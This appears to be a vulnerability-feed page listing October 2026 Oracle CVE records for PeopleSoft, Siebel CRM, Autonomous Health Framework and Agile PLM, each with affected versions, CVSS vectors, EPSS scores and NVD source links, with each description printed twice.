Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Database Server).
https://kevwire.com/record/CVE-2026-101434
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Database Server). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Database Server).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools as well as  unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data and  unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H).
CVSS 7.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101434).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101434&date=2026-10-25).
Sources:
NVD CVE-2026-101434: https://nvd.nist.gov/vuln/detail/CVE-2026-101434
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101434&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Database Server).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools as well as  unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data and  unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).
https://kevwire.com/record/CVE-2026-101438
Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). (Oct 20, 2026).
Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 22.3-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Siebel CRM Cloud Applications executes to compromise Siebel CRM Cloud Applications.  While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Cloud Applications accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 8.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101438).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101438&date=2026-10-25).
Sources:
NVD CVE-2026-101438: https://nvd.nist.gov/vuln/detail/CVE-2026-101438
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101438&date=2026-10-25
Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 22.3-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Siebel CRM Cloud Applications executes to compromise Siebel CRM Cloud Applications.  While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Cloud Applications accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 8.0 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).
https://kevwire.com/record/CVE-2026-101446
Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). (Oct 20, 2026).
Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Cloud Applications.  While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Siebel CRM Cloud Applications. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101446).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101446&date=2026-10-25).
Sources:
NVD CVE-2026-101446: https://nvd.nist.gov/vuln/detail/CVE-2026-101446
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101446&date=2026-10-25
Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Cloud Applications.  While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Siebel CRM Cloud Applications. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workflow).
https://kevwire.com/record/CVE-2026-101447
Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workflow). (Oct 20, 2026).
Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workflow).  Supported versions that are affected are 25.12-26.9. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Development.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101447).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101447&date=2026-10-25).
Sources:
NVD CVE-2026-101447: https://nvd.nist.gov/vuln/detail/CVE-2026-101447
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101447&date=2026-10-25
Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Workflow).  Supported versions that are affected are 25.12-26.9. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Development.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker).
https://kevwire.com/record/CVE-2026-101450
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker). (Oct 20, 2026).
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101450).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101450&date=2026-10-25).
Sources:
NVD CVE-2026-101450: https://nvd.nist.gov/vuln/detail/CVE-2026-101450
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101450&date=2026-10-25
Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data as well as  unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel Life Sciences product of Oracle Siebel CRM (component: Web UI).
https://kevwire.com/record/CVE-2026-101451
Vulnerability in the Siebel Life Sciences product of Oracle Siebel CRM (component: Web UI). (Oct 20, 2026).
Vulnerability in the Siebel Life Sciences product of Oracle Siebel CRM (component: Web UI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel Life Sciences.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Siebel Life Sciences, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel Life Sciences accessible data as well as  unauthorized access to critical data or complete access to all Siebel Life Sciences accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101451).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101451&date=2026-10-25).
Sources:
NVD CVE-2026-101451: https://nvd.nist.gov/vuln/detail/CVE-2026-101451
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101451&date=2026-10-25
Vulnerability in the Siebel Life Sciences product of Oracle Siebel CRM (component: Web UI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel Life Sciences.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Siebel Life Sciences, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel Life Sciences accessible data as well as  unauthorized access to critical data or complete access to all Siebel Life Sciences accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Autonomous Health Framework (component: AHF Instant Diagnostic Replay).
https://kevwire.com/record/CVE-2026-101452
Vulnerability in Oracle Autonomous Health Framework (component: AHF Instant Diagnostic Replay). (Oct 20, 2026).
Vulnerability in Oracle Autonomous Health Framework (component: AHF Instant Diagnostic Replay).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101452).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101452&date=2026-10-25).
Sources:
NVD CVE-2026-101452: https://nvd.nist.gov/vuln/detail/CVE-2026-101452
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101452&date=2026-10-25
Vulnerability in Oracle Autonomous Health Framework (component: AHF Instant Diagnostic Replay).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: eDetailing).
https://kevwire.com/record/CVE-2026-101457
Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: eDetailing). (Oct 20, 2026).
Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: eDetailing).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Siebel Apps - Life Sciences.  Successful attacks of this vulnerability can result in takeover of Siebel Apps - Life Sciences. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101457).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101457&date=2026-10-25).
Sources:
NVD CVE-2026-101457: https://nvd.nist.gov/vuln/detail/CVE-2026-101457
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101457&date=2026-10-25
Vulnerability in the Siebel Apps - Life Sciences product of Oracle Siebel CRM (component: eDetailing).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Siebel Apps - Life Sciences.  Successful attacks of this vulnerability can result in takeover of Siebel Apps - Life Sciences. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-101458
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101458).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101458&date=2026-10-25).
Sources:
NVD CVE-2026-101458: https://nvd.nist.gov/vuln/detail/CVE-2026-101458
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101458&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-101459
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).
CVSS 8.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101459).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101459&date=2026-10-25).
Sources:
NVD CVE-2026-101459: https://nvd.nist.gov/vuln/detail/CVE-2026-101459
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101459&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-101473
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101473).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101473&date=2026-10-25).
Sources:
NVD CVE-2026-101473: https://nvd.nist.gov/vuln/detail/CVE-2026-101473
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101473&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Product Lifecycle Management for Process. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).
https://kevwire.com/record/CVE-2026-101477
Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer). (Oct 20, 2026).
Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101477).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101477&date=2026-10-25).
Sources:
NVD CVE-2026-101477: https://nvd.nist.gov/vuln/detail/CVE-2026-101477
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101477&date=2026-10-25
Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).
https://kevwire.com/record/CVE-2026-101478
Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer). (Oct 20, 2026).
Vulnerability in Oracle Autonomous Health Framework (component: Trace File Analyzer).  Supported versions that are affected are 26.3-26.8. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Autonomous Health Framework executes to compromise Oracle Autonomous Health Framework.  Successful attacks of this vulnerability can result in takeover of Oracle Autonomous Health Framework. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101478).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101478&date=2026-10-25).
Sources:
NVD CVE-2026-101478: https://nvd.nist.gov/vuln/detail/CVE-2026-101478
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101478&date=2026-10-25
